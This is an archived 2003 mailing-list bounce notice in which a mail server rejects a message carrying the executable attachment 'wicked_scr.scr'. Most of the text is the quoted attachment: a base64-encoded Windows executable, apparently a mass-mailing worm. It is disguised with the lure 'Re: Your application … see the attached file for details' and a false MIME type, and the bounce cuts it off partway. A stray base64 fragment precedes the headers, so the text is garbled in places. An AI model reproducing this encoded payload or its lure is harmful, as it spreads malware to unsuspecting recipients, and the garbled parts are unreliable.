VPdd/d0txuf3tNVZRpA55EPwVxIDslBElFAhDMVChopTJSzp08Fz2NbSVqFiMAJ2KKPSteQT1FEL MhsGz2eFpVVvFoqbudn/W6mRLeqDaXNhdUfOCdFN6Wxiod3VTia4402aE9F9S/oZfX++q8+LSW3/ 9q3QKaEZ/Ot5iTiBDyiEveovrBD6lCTq8cBFEEn7D3U1IreiIk+bA3wa1i/uNi0jAdNGz/DXMLcQ 1YHBx2eG4/5n3FBbzNKCeQVuz0H38L/eRxjlEOmKe3LMIAAcH3oKd93t2Exdk5abliOK6TKREOPo ZcE5bJ6tJGAJMKyxuOqEZKPSvZGn7eeO6CPBJCTZruQGtZpClKPn5USRrfn0O1wps6JdX7dX9VVH qds/H/GAsAk0iNrnamkXKTlKw6aKOKm4ZZjaBQjY0jHResS5XNDQNiahV0So93JoQo2n/Tu6azR7 PycL31rVC5altYOWYFLRPl86xejlj4BV1IF4eJ7/ From MAILER-DAEMON Tue Aug 19 07:46:06 2003 Received: from mail by sc8-sf-list1.sourceforge.net with local (Exim 3.31-VA-mm2 #1 (Debian)) id 19p7kM-0006ti-00 for ; Tue, 19 Aug 2003 07:46:06 -0700 X-Failed-Recipients: message filter, clisp-list@lists.sourceforge.net From: Mail Delivery System To: clisp-list@sourceforge.net Message-Id: Subject: [clisp-list] Mail delivery failed: returning message to sender Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 19 07:47:02 2003 X-Original-Date: Tue, 19 Aug 2003 07:46:06 -0700 This message was created automatically by mail delivery software (Exim). A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: save to /var/spool/exim/rejects/embeddedmimeattachement generated by message filter failed to lock mailbox /var/spool/exim/rejects/embeddedmimeattachement (lock file): retry timeout exceeded clisp-list@lists.sourceforge.net This message has been rejected because it has a potentially executable attachment "wicked_scr.scr" This form of attachment has been used by recent viruses or other malware. If you meant to send this file then please package it up as a zip file and resend it. If you didn't mean to send this file, and you are using microsoft outlook, you are probably infected. Please stop using outlook, it is inherently insecure and you are generating lots of wasted bandwidth and support headackes by using it, and you are jeopardizing your files and your data Please seriously consider using another mail client ------ This is a copy of the message, including all the headers. ------ ------ The body of the message is 98830 characters long; only the first ------ 10240 or so are included here. Return-path: Received: from d-128-78-122.bootp.virginia.edu ([128.143.78.122] helo=CE55) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19p7EL-0001qq-00 for ; Tue, 19 Aug 2003 07:13:02 -0700 From: To: Subject: Re: Your application Date: Tue, 19 Aug 2003 10:13:01 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_018B7DF9" Message-Id: This is a multipart message in MIME format --_NextPart_000_018B7DF9 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit See the attached file for details --_NextPart_000_018B7DF9 Content-Type: chemical/x-rasmol; name="wicked_scr.scr" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="wicked_scr.scr" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnAAAAAAAAAAAAAAAAAAAAABQRQAA TAEEAF2zPz8AAAAAAAAAAOAADwELAQYAAAAAAABwAAAAAAAA1usBAAAQAAAAYAEAAABAAAAQAAAA AgAABAAAAAAAAAAEAAAAAAAAAAAAAgAAEAAAF/EBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA AAAAAAAAAAAAAOLrAQCcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfuwBAAgAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAgAC5zaHJpbmsAAFABAAAQAAAAxAAAABAAAAAAAAAAAAAAAAAAAEAAAMAu c2hyaW5rAAAwAAAAYAEAABIAAADUAAAAAAAAAAAAAAAAAABAAADALnNocmluawAAQAAAAJABAAAS AAAA5gAAAAAAAAAAAAAAAAAAQAAAwC5zaHJpbmsAADAAAADQAQAAIgAAAPgAAAAAAAAAAAAAAAAA AEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 